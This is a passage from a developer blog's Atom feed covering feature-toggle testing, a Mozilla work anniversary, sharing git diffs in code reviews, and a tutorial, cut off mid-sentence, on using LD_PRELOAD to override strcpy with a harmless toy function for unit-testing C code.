&lt;span class=&quot;nx&quot;&gt;it&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;renders Hello, World when the XYZ feature is disabled&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_config&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getFakeConfig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;enableFeatureXYZ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;renderWelcome&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_config&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toHaveText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Hello, World&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;it&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;renders Hello, XYZ when the XYZ feature is enabled&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_config&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getFakeConfig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;enableFeatureXYZ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;renderWelcome&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_config&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toHaveText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Hello, XYZ&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When adding a new behavior behind a toggle to an existing feature, we usually
update the test suite to work as before and we add new test cases for the new
behavior. This often implies the addition of very similar test cases but it is
not so bad as we always plan to delete some code later on.&lt;/p&gt;

&lt;h2 id=&quot;a-note-on-code-quality&quot;&gt;A note on code quality&lt;/h2&gt;

&lt;p&gt;Every time we introduce a Waffle flag, a switch or a frontend toggle, we file a
GitHub issue to clean up the code once there is no need for it anymore. If the
author forgets about it, this is usually raised during the code review. This is
how we mitigate the risk of having &lt;a href=&quot;https://en.wikipedia.org/wiki/Spaghetti_code&quot;&gt;spaghetti
code&lt;/a&gt;. Some toggles (like
emergency switches) are more permanent, though.&lt;/p&gt;

&lt;p&gt;In the server codebase, we delete the Waffle flag or switch using a database
migration, then we remove the old code (including the toggle) and we update the
test suite accordingly.&lt;/p&gt;

&lt;h2 id=&quot;bonus-amo-info&quot;&gt;Bonus: amo-info&lt;/h2&gt;

&lt;p&gt;I created a &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/amo-info/?utm_source=williamdurand.fr&amp;amp;utm_medium=referral&amp;amp;utm_content=featureflags&quot;&gt;Firefox extension called
“amo-info”&lt;/a&gt;
to display various information about the public-facing part of the AMO platform.
Among other things, this extension shows the configuration of our frontend
toggles to quickly see which features are enabled/disabled in our different
environments:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/09/amo-info.png&quot; alt=&quot;Screenshot of the amo-info Firefox extension&quot; /&gt;&lt;/p&gt;

&lt;p&gt;That’s it for today :-) Are you using feature toggles too? I’d be interested in
knowing how you manage them and what you do differently than us. Don’t
hesitate to get in touch!&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Moziversary #2</title>
        <link href="https://williamdurand.fr/2020/05/01/moziversary-2/"/>
        <updated>2020-05-01T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2020/05/01/moziversary-2</id>
        <content type="html">&lt;p&gt;&lt;em&gt;Today is my second Moziversary. I joined Mozilla as a full-time employee on May
1st, 2018, not too long after contracting with them via my previous company.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I am part of the Firefox Add-ons team and I work on
&lt;a href=&quot;https://addons.mozilla.org/&quot;&gt;AMO&lt;/a&gt;, which is much more than “just a website”. I
spent 2019 working on the &lt;a href=&quot;https://github.com/mozilla/addons-server/&quot;&gt;server
stack&lt;/a&gt; as well as creating and
deploying new security tools to cope with malicious activities. Everyone seems
happy with my work, I received positive feedback from my peers and manager and I
even “over-performed” last year. In 2020, I started to work on the Firefox
codebase and that’s exciting!&lt;/p&gt;

&lt;p&gt;Now, if I ask you to name the first thing about your current employer when you
think about it, what would it be? For me, and that might sound dumb but it is
the truth, my first thought is “Mozilla Firefox”, that piece of software I
installed on every computer I could when I was 16-17 years old because “it was
much faster than Internet Explorer” and… free. That was in the early 2000s.&lt;/p&gt;

&lt;p&gt;My father was working for the main telecommunications company in France back
then. Once my parents could afford a personal computer at home in the late 1990s
(an &lt;a href=&quot;https://en.wikipedia.org/wiki/IBM_Aptiva&quot;&gt;IBM Aptiva&lt;/a&gt; &amp;lt;3), we were able to
get &lt;a href=&quot;https://www.youtube.com/watch?v=gsNaR6FRuO0&quot;&gt;56k Internet&lt;/a&gt;, then 128k
(&lt;a href=&quot;https://en.wikipedia.org/wiki/Integrated_Services_Digital_Network&quot;&gt;ISDN&lt;/a&gt;) and
later DSL. That’s how I met the Internet but it took me a few more years and bad
grades in high school to grow an interest in computers.&lt;/p&gt;

&lt;p&gt;I never imagined that I could work for a company whose icon was sitting on the
Windows 98 Desktop of my parents’ computer one day. And yet, here I am, and
that’s why Mozilla is and will always be special to me. It’s an immense part of
my teenager memories, it reminds me where I come from (including my privilege).&lt;/p&gt;

&lt;p&gt;Contrary to many of my colleagues, I wasn’t a
&lt;a href=&quot;https://www.mozilla.org/en-US/contribute/&quot;&gt;volunteer&lt;/a&gt; before joining Mozilla
and I knew little to nothing about Mozilla Corporation. I was following some of
the Mozilla Foundation initiatives but I wasn’t a
&lt;a href=&quot;https://mozillians.org&quot;&gt;Mozillian&lt;/a&gt;. I fixed that since then ;-)&lt;/p&gt;

&lt;p&gt;I am grateful to my current manager (who hired me) as well as all my colleagues
in the Add-ons team and beyond. They are all amazing folks! I learned tons of
things about everything, including myself, and these two years have been
absolutely fantastic. Thanks y’all!&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Suggested changes in code reviews</title>
        <link href="https://williamdurand.fr/2020/01/27/suggested-changes-in-code-reviews/"/>
        <updated>2020-01-27T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2020/01/27/suggested-changes-in-code-reviews</id>
        <content type="html">&lt;p&gt;I recently wrote that &lt;a href=&quot;/2019/12/20/sigcont/&quot;&gt;I wanted to blog more often and share how I
work&lt;/a&gt;. Today’s article is about suggestions in code
reviews.&lt;/p&gt;

&lt;p&gt;A little more than a year ago, GitHub introduced a button to &lt;a href=&quot;https://haacked.com/archive/2019/06/03/suggested-changes/&quot;&gt;suggest
changes&lt;/a&gt; when
reviewing Pull Requests. It’s a neat but somewhat limited feature. I only use
this button as a replacement for (rather confusing) comments like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;s/typo/fix/&lt;/code&gt;
(which means: “please replace ‘typo’ with ‘fix’”). The GitHub feature does not
work well when I want to suggest a larger change (that could be spread across
multiple files).&lt;/p&gt;

&lt;p&gt;About 95% of my code reviews involves checking out the patch proposed in the
Pull Request locally. There are many reasons for doing this but I usually make
sure a bug fix actually fixes the issue, test the new feature or try to break
things (before QA). In some cases, the proposed approach does not seem optimal
and I want to see if I can make some improvements. Sometimes, the patch is a
“Work in Progress” (WIP) and their author asks for help.&lt;/p&gt;

&lt;p&gt;I use &lt;a href=&quot;https://github.com/github/hub&quot;&gt;hub&lt;/a&gt; on top of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt; so that I can &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git
checkout&lt;/code&gt; a Pull Request using its URL (as shown below). &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hub&lt;/code&gt; has many more
features and it’s a gem!&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git checkout https://github.com/user/repo/pull/123
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;sharing-suggestions&quot;&gt;Sharing suggestions&lt;/h2&gt;

&lt;p&gt;When I want to share the changes I made locally, I use &lt;a href=&quot;https://git-scm.com/docs/git-diff&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git
diff&lt;/code&gt;&lt;/a&gt; to get a representation of these
changes and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pbcopy&lt;/code&gt; (on MacOS) to copy the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;diff&lt;/code&gt; output to the clipboard (I
think we can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xsel&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xclip&lt;/code&gt; on Linux but I am not sure):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git diff | pbcopy
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I then go back to the GitHub page and I paste the changes inside a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;diff&lt;/code&gt; block
after one or two lines of text describing the diff and giving some more context:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;How about this? Adding `git` again seems too much:

```diff
diff --git a/some_file.txt b/some_file.txt
index 6b0c6cf..b37e70a 100644
--- a/some_file.txt
+++ b/some_file.txt
@@ -1 +1 @@
-this is a git diff test example
+this is a diff example
```
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et voilà.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/01/diff-comment.png&quot; alt=&quot;A GitHub comment with a diff&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;applying-suggestions&quot;&gt;Applying suggestions&lt;/h2&gt;

&lt;p&gt;Anyone who receives such a comment can apply the provided &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;diff&lt;/code&gt; locally. My
current workflow is to copy the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;diff&lt;/code&gt; to the clipboard and use the set of
commands below to apply it (in reality, I use &lt;kbd&gt;ctrl&lt;/kbd&gt; + &lt;kbd&gt;r&lt;/kbd&gt; to
search through my history as it is faster).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ pbpaste | patch -p1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pbpaste&lt;/code&gt; is used to paste content as its name suggests. If you take a closer
look at the previous &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;diff&lt;/code&gt; example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt; prefixes diff paths with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b&lt;/code&gt;
in the output, which is why &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-p1&lt;/code&gt; is needed: it removes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a/&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b/&lt;/code&gt; so that
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;patch&lt;/code&gt; finds the right files to patch.&lt;/p&gt;

&lt;p&gt;I have been providing suggestions like this for several years now and some folks
in my team started to do that as well (and even some contributors!). This
workflow is a nice way to share ideas and start discussions. What do you think?&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Unit testing C code with LD_PRELOAD</title>
        <link href="https://williamdurand.fr/2020/01/07/unit-testing-with-ld-preload/"/>
        <updated>2020-01-07T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2020/01/07/unit-testing-with-ld-preload</id>
        <content type="html">&lt;p&gt;One of my side projects is &lt;a href=&quot;https://github.com/willdurand/ArvernOS&quot;&gt;a tiny kernel/operating
system&lt;/a&gt;, which I started to learn more
about operating systems (OS) and kernel development in general. The codebase is
fairly small (around 4K lines of code at the time of writing) but I started to
face a few bugs that I could have likely avoided with unit testing.&lt;/p&gt;

&lt;p&gt;Writing a kernel often implies creating a lot of things from scratch, even the
most basic “tools”. For example, some sort of small &lt;a href=&quot;https://wiki.osdev.org/C_Library&quot;&gt;C
library&lt;/a&gt; is required early in the process.
Yet, it is hard to port an existing &lt;em&gt;libc&lt;/em&gt; when there is nothing else. Such a C
library does not have tons of functions but everything else likely depends on them.
Therefore, it is crucial to write them correctly and unit testing can help.&lt;/p&gt;

&lt;p&gt;In my project, I chose to have a unified C library for both my kernel code
(which uses a library sometimes called &lt;em&gt;libk&lt;/em&gt;) and
&lt;a href=&quot;https://en.wikipedia.org/wiki/User_space&quot;&gt;userland&lt;/a&gt; code (which uses a &lt;em&gt;libc&lt;/em&gt;).
Because my C library provides the same API as other &lt;em&gt;libc&lt;/em&gt; (&lt;em&gt;e.g.&lt;/em&gt;, the one from
my main system), I could not directly import my functions in my test code. I
thought about this problem and came up with three options:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Introduce a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PREFIX()&lt;/code&gt; macro to alias my functions and import these aliased
functions in the test code. This is needed because “global function” names
should be unique in C. This option would improve isolation but it would make
the kernel code harder to read.&lt;/li&gt;
  &lt;li&gt;Use my C library to write test programs. This option would make debugging
harder because my library could introduce bugs in the test code. I would
prefer not to rely on my incomplete &lt;em&gt;libc&lt;/em&gt; too much.&lt;/li&gt;
  &lt;li&gt;Override the function under test (FUT) when running the test program. It is
a combination of (1) and (2) and this guarantees that only the FUT is tested.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This idea of &lt;a href=&quot;https://en.wikipedia.org/wiki/Monkey_patch&quot;&gt;monkey-patching&lt;/a&gt; code
did ring a bell: the &lt;a href=&quot;https://blog.jessfraz.com/post/ld_preload/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_PRELOAD&lt;/code&gt; environment
variable&lt;/a&gt;! In order to understand
how this works, let’s remember that programs can be either statically or
dynamically linked. The former creates programs that contain a “copy” of the
functions borrowed from external libraries while the latter binds such functions
upon program execution.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_PRELOAD&lt;/code&gt; can be used to load a shared library before other libraries,
offering us the ability to change the behaviors of the functions used by a
program 🔥&lt;/p&gt;

&lt;h2 id=&quot;example&quot;&gt;Example&lt;/h2&gt;

&lt;p&gt;Let’s take an example with an enhanced version of a “Hello, World” written in C:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// hello.c&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hello&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;hello!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hello&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The example above uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy()&lt;/code&gt; to copy a string that will be printed to the
standard output as shown below (I used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcc -o hello hello.c&lt;/code&gt; to compile this
program):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./hello
hello!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As mentioned previously, we could leverage &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_PRELOAD&lt;/code&gt; to override the behavior
of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy()&lt;/code&gt; function. In order to do this, we need to create a new file
(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evil.c&lt;/code&gt;) with the following content:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// evil.c&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;evil&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;oooops&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;evil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;evil&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dest&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;&apos;\0&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Instead of using the content from the second argument, this function copies its
own string 😈 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_PRELOAD&lt;/code&gt; needs a shared library so we have to compile this
file with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcc -fPIC -shared -o evil.so evil.c&lt;/code&gt;. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PIC&lt;/code&gt; stands for &lt;em&gt;Position
Independent Code&lt;/em&gt;, which means that the generated code is not dependent on being
located at a specific address in order to work. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-shared&lt;/code&gt; option instructs
the linker to create a shared object (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.so&lt;/code&gt;), which is our final library. Let’s
try it now:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ LD_PRELOAD=./evil.so ./hello
oooops
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;heh-what-happened&quot;&gt;Heh, what happened?&lt;/h2&gt;

&lt;p&gt;This worked because the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hello&lt;/code&gt; program did not embed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy()&lt;/code&gt;. We can verify
it with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;objdump&lt;/code&gt; (with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-t&lt;/code&gt; flag to print the symbol table entries of the
file):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ objdump -t hello

hello:     file format elf64-x86-64

SYMBOL TABLE:
...
0000000000000000       F *UND*	0000000000000000              strcpy@@GLIBC_2.2.5
...
000000000000071a g     F .text	0000000000000053              main
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Although it is technically not correct, let’s pretend that a function and a
symbol are the same. The partial output above shows the table entry for the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; function. The first column represents its &lt;em&gt;address&lt;/em&gt; and
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0000000000000000&lt;/code&gt; (as well as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*UND*&lt;/code&gt;) means the function is not defined in
this binary file. This table also lists our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; function, which can be
found at address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;000000000000071a&lt;/code&gt; (&lt;em&gt;i.e.&lt;/em&gt; somewhere inside the binary file).&lt;/p&gt;

&lt;p&gt;Now, let’s explore our shared library with the same command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ objdump -t evil.so

evil.so:     file format elf64-x86-64

SYMBOL TABLE:
...
000000000000057a g     F .text	000000000000004e strcpy
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our library provides a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; function at address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;000000000000004e&lt;/code&gt;. When we
run the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hello&lt;/code&gt; program, the operating system binds the symbols to their actual
definitions located in shared libraries. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ldd&lt;/code&gt; tool can tell us which shared
